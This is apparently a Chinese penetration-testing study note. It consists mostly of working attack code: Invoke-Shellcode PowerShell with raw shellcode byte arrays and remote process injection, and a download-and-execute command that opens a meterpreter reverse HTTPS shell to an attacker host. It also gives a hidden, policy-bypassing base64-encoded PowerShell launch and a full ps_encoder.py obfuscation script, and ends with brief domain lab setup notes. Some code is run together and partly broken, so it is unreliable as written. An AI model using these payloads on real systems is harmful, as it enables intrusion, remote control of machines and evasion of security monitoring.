@(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)# 64-bit payload# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)}if ( $PSBoundParameters['ProcessID'] ){# Inject shellcode into the specified process ID$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)Write-Verbose "Injecting shellcode into PID: $ProcessId"if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ){Inject-RemoteShellcode $ProcessId}}else{# Inject shellcode into the currently running PowerShell process$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)Write-Verbose "Injecting shellcode into PowerShell"if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',"Injecting shellcode into the running PowerShell process!" ) ){Inject-LocalShellcode}} }

(5)使用Base64编码对Powershell命令进行编码

先将ps1保存为文本文件

ech○ "IEX(New-Object Net.WebClient).DownloadString("/xxx.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.xxx.xxx -Lport 80 -Force" >script.txt

使用ps_encoder.py脚本加密:

chmod +x ps_encoder.py./ps_encoder.py -s script.txt

然后可以利用base64编码内容进行命令执行:

Poweshell.exe -NoP -NonI -W Hidden -Exec Bypass -enc [base64编码内容]

ps_encoder.py脚本如下:

#!/usr/bin/env python# -*- coding: utf-8 -*-# PSEncoder# This version is a modification of darkoperator's ps_encoder.py /darkoperator/powershell_scripts/blob/master/ps_encoder.py made by Carlos Perez## This program is free software; you can redistribute it and/or modify# it under the terms of the GNU General Public License as published by# the Free Software Foundation; Applies version 2 of the License.## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU General Public License for more details.## You should have received a copy of the GNU General Public License# along with this program; if not, write to the Free Software# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USAimport base64import sysimport reimport osimport getoptdef powershell_encode(data):# blank command will store our fixed unicode variableblank_command = ""powershell_command = ""# Remove weird chars that could have been added by ISEn = pile(u'(\xef|\xbb|\xbf)')# loop through each character and insert null bytefor char in (n.sub("", data)):# insert the nullbyteblank_command += char + "\x00"# assign powershell command as the new onepowershell_command = blank_command# base64 encode the powershell commandpowershell_command = base64.b64encode(powershell_command)return powershell_commanddef usage():print("Usage: {0} <options>\n".format(sys.argv[0]))print("Enters interactive mode if no options provided.")print("Options:")print(" -h, --help Show this help message and exit")print(" -s, --script<script> PowerShell Script.")sys.exit(0)def main():try:options, args = getopt.getopt(sys.argv[1:], 'hs:', ['help', 'script'])except getopt.GetoptError:print "Wrong Option Provided!"usage()if len(sys.argv) == 2:usage()for opt, arg in options:if opt in ('-h', '--help'):usage()elif opt in ('-s', '--script'): script_file = argif not os.path.isfile(script_file):print "The specified powershell script does not exists"sys.exit(1)else:ps_script = open(script_file, 'r').read()print "powershell -encodedCommand",powershell_encode(ps_script)exit()else:while 1:try:ps_script = raw_input("ps_encoder$ ")# print(powershell_encode(ps_script))print "powershell -encodedCommand",powershell_encode(ps_script)except KeyboardInterrupt:exit("\nUser interrupt.")if __name__ == "__main__":main()

三、搭建内网环境

安装Windows Server R2、Windows7和Windows Server R2操作系统搭建Windows域环境

Windows Server R2: 192.168.1.1Windows Server R2: 192.168.1.2Wlndows7: 192.168.1.3

结语

第一章主要是些基础知识和概念

然后装了下环境

放一个powershell的学习网站:/powershell-online-tutorials

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。